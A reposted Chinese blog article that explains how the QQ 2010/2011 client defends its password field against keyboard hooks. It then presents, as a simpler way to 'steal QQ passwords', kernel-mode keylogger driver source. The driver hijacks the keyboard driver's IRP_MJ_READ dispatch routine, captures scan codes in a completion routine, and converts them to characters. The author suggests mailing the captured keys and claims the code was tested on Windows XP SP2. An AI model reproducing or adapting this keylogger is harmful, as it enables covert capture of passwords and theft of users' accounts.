浅谈QQ密码保护原理

 

当前位置: 主页 > 系统综合 > qq相关 > 浅谈QQ密码保护原理 浅谈QQ密码保护原理时间:2011-11-09 13:59来源:未知 整理:寂涯网络 点击:71次QQ 是大家常用的通讯工具之一,所以针对QQ 的盗号木马也非常多,所以腾讯也做出了
相应的反击,2005 年腾讯购买韩国人的技术对QQ的登录对话框的密码输入框采用了驱动程
序进行保护,但是因为设计驱动的安装,导致了软硬件不兼容的问题,07 年的时候也就放
弃了。
目前我们就以 QQ2010 为例,当我们用 WH_ WH_KEYBOARD 的钩子来挂钩系统进行键盘记
录的时候,我们可以试一下密码输入框中是记录不到任何键盘输入的,但是用
WH_KEYBOARD_LL 就可以记录到一些键盘输入,但是认真对比就会发现记录的这些输入是错
的,这是为什么呢?
经过思考和验证,目前的 QQ2010 安装目录中并没有驱动,所以也就不可能将密码保护
进行到驱动级别,问题还是出在 R3 下,QQ 肯定是利用了某些 R3 下的比 WH_ WH_KEYBOARD
更为底层的钩子,或者管理钩子的钩子,有了这个猜测思路就明确了,首先看看 QQ 安装了
哪些钩子吧,我找了一款小工具可以查看卸载钩子,很方便(在附带的文件里)。结果如下
图: 

 

我们可以看到QQ 安装了两个重要的钩子WH_DEBUG和 WHKEYBOARD_LL,原来,WH_DEBUG
可以用来管理很多种类型的钩子,有这么多种:
 WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_JOURNALPLAYBACK
WHJOURNALRECORD

WH_KEYBOARD
WH_MOUSE
WH_MSGFILTER 
WH_SHELL
WHSYSMSGFILTER 

在这些钩子的钩子过程将要被系统调用的时候,系统总是先执行调试钩子的钩子过程。
而 MS的这个调试钩子,允许我们决定是否执行这些被管理的钩子。 当我们卸载掉WH_DEBUG,
WH_ WH_KEYBOARD就能轻松记录下键盘输入,这也就难怪我们安装的WH_KEYBOARD不能到达
目的的原因了,至于为什么 WHKEYBOARD_LL 可以记录到键盘记录呢,很简单因为 WH_DEBUG
不能管理 WHKEYBOARD_LL。
显然 QQ 对钩子的保护已经了解了,那么再来看看我们记录下来什么键盘输入呢?都是
一些不相干的输入,看来 QQ 对我们的键盘钩子还是有另外的招数防备的,他传递给我们的
记录钩子一些假的键盘信息,导致我们钩子记录下来的和我们的键盘输入有很大差异。
到了 QQ2011,我们发现在QQ 的 bin目录下多了两个文件分别是ABL.sys和 PBL.sys这
两个文件是不是内核文件呢?但是我在用本文的修改分发函数的方法验证的时候,还是可以
顺利的截获到键盘记录,实践是检验真理的唯一标准,用 16 进制文件编辑器查看一下,这
两个文件都不是以MZ 开头的,也就是说不是驱动文件,那么就只能说有可能是QQ对自己的
信息的一种保护把。
说了这么多,那么怎样更为简单的盗取 QQ 密码呢?无疑转向了驱动截获键盘记录了,
在驱动级我们可以不用考虑QQ在 R3下用什么复杂严密的方法来保护键盘记录,因为我们的
驱动程序比他更加底层,所以在此我们用修改系统驱动对象的分发函数的方法来截获键盘记
录,下面我们来看看程序。
首先申明一些函数和全局变量,这里就不多说了。

ULONG gC2pKeyCount=0;           //全局变量记录IRP个数
extern POBJECT_TYPE IoDriverObjectType;//声明这个函数
PDRIVERDISPATCH OldDispatchRead;//原 IRPMJREAD函数的入口地址

然后我们来写入口函数。当一个请求(IRP)来的时候,说明 Windows 要从键盘驱动读
取一个扫描码值,我们要获得的是按下键的扫描码的值,所以就只能把这个请求发下去在看
返回的这个值是多少,于是我们修改IRP的完成函数,使得IRP 完成以后调用我们的函数,
这个实现起来还是很容易的,只要用我们定义的一个函数地址替换掉原来的额完成函数的地
址就可以了。
另外一个问题是,我们的分发函数要实现什么功能呢?记录邮件发送?这个就随大家的
意思了,本文为了简便只是做了简单的的打印。打印完之后呢?当然是要调用原来的完成函
数来实现他原本的功能了,否则没有IRP的返回,系统很容易就崩溃了。
   NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING
 
RegistryPath) //入口函数
{
PDRIVER_OBJECT kbdDriverObject;
UNICODE_STRING uniNtNameString;
NTSTATUS status=NULL;
NTSTATUS ObReferenceObjectByName(PUNICODESTRING ObjectName,

//这个函数文档里没有,但申明一下就可以直接使用
         ULONG Attributes,
         PACCESS_STATE AccessState,
         ACCESS_MASK DesiredAccess,
         POBJECT_TYPE ObjectType,
         KPROCESSOR_MODE AccessMode,
         PVOID ParseContext,
         PVOID *Object);
RtlInitUnicodeString(&uniNtNameString,KBD_DRIVER_NAME);                     
//初始化为0
status=ObReferenceObjectByName(                                          
//得到并打开设备
       &uniNtNameString,
       OBJ_CASE_INSENSITIVE,
       NULL,
       0,
       IoDriverObjectType,
       KernelMode,
       NULL,
       &kbdDriverObject);
if(!NT_SUCCESS(status))
{
    DbgPrint("cannot get the kbd object\n");
    return STATUS_UNSUCCESSFUL;
}
else
{
   ULONG i;
   //PDRIVER_DISPATCH OldDispatchFunctions[IRP_MJ_MAXIMUM_FUNCTION+1];
  
OldDispatchRead = kbdDriverObject->MajorFunction[IRP_MJ_READ];// 保存原
IRP_MJ_READ函数的入口地址
 
InterlockedExchangePointer(&kbdDriverObject->MajorFunction[IRP_MJ_READ],New
DispatchRead);//替换为自定义的新分发函数的地址
   ObDereferenceObject(kbdDriverObject);                //不要忘记解除调用
}
DriverObject->DriverUnload=DriverUnload;
return STATUS_SUCCESS;
}

然后我们来写我们自己的分发函数,在这个分发函数中,我们要定义一个完成函数,以

便请求完成的时候,能够调用我们的完成函数。

NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp)     //
新的分发函数
{
    PIO_STACK_LOCATION irpSp;                                          //以
下的内容都是新分发函数的新增内容
    irpSp = IoGetCurrentIrpStackLocation(Irp);
    irpSp->Control =
SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;
    //保留原来的完成函数,如果有的话
    irpSp->Context = irpSp->CompletionRoutine;
    irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion;  //
这个是完成函数
   return OldDispatchRead(pDeviceObject,Irp);                //调用原来的分
发函数,完成应该有的内容
}

最后我们就要为我们的完成函数写自己的代码了,这里我只做简单的打印,打印出的是
读取键盘输入,但要注意的是键盘按下和弹起都有扫描码,打印其中之一就行。

NTSTATUS OnReadCompletion(IN PDRIVER_OBJECT DriverObject,
                         IN PIRP Irp,
                         IN PVOID Context
       )   //完成函数
{
   PIO_STACK_LOCATION IrpSp;
   PUCHAR buf=NULL;
   IrpSp=IoGetCurrentIrpStackLocation(Irp);
 
 if(NT_SUCCESS(Irp->IoStatus.Status))
   {
      buf=Irp->AssociatedIrp.SystemBuffer;
    
 MyKeyPrint((UCHAR)buf[2]);           //字符打印函数
   }
   if(Irp->PendingReturned)

 
   {
      IoMarkIrpPending(Irp);
   }
   return Irp->IoStatus.Status;
}

这里要说明的是,由于编辑要我把扫描码转化成字符输出来,这还废了我一些劲,因为
在内核态下没有直接可用的函数接口转换扫描码成为ASCII 码。于是只能自己动手写这还是
挺伤脑经的。这里用了直接定址法将字符放在一个数组中,为了不越界,定义一个大一点的
 数组。
 
UCHAR
asciiTbl[256]={'0','0','1','2','3','4','5','6','7','8','9','0','0','0','0',
'0','q','w','e','r','t',
                        
'y','u','i','o','p','0','0','0','0','a','s','d','f','g','h','j','k','l','0'
,'0',
                        
'0','0','0','z','x','c','v','b','n','m','0','0','0','0','0','0','0','0','0'
,'0',
                        
'0','0','0','0','0','0','0','0','0','0','7','8','9','0','4','5','6','0','1'
,'2',
                          '3','0'
                         };

这里为了简便,我只写出了部分键盘扫描码和ASCII的转换,共有键盘字符键,数字键,
小键盘键。并且也没有考虑shift,caps 键对字符的影响,其他的的按键转换同理,当检测
到有上述两个键输入时,将字符大写就可以。为了节省篇幅,就不多说了。字符转换函数如
下:
void _stdcall MyKeyPrint(UCHAR sch)         //字符打印函数

   if(gC2pKeyCount%2==1)
{
   UCHAR ch=0;
   int a=0;
   a=(int)sch;
   ch=asciiTbl[a];
   DbgPrint("%C \n",ch);
}
}

至于驱动文件的安装,这里就不多说了,到此也就结束了。这里存在一个稳定性的小问
题,在新分发函数替换过程中,一部分分发函数已经被替换,此时刚好有连续的几个 IRP
需要处理中间具有相关性,这种情况下可能破坏他们的关联,但是这种问题的几率也是相当
小,是小概率事件,不予考虑。经本人测试可用,环境为Windows XP SP2。

转自寂涯网络 www.jybase.net
原帖地址 http://www.jybase.net/qqxiangguan/20111109594.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值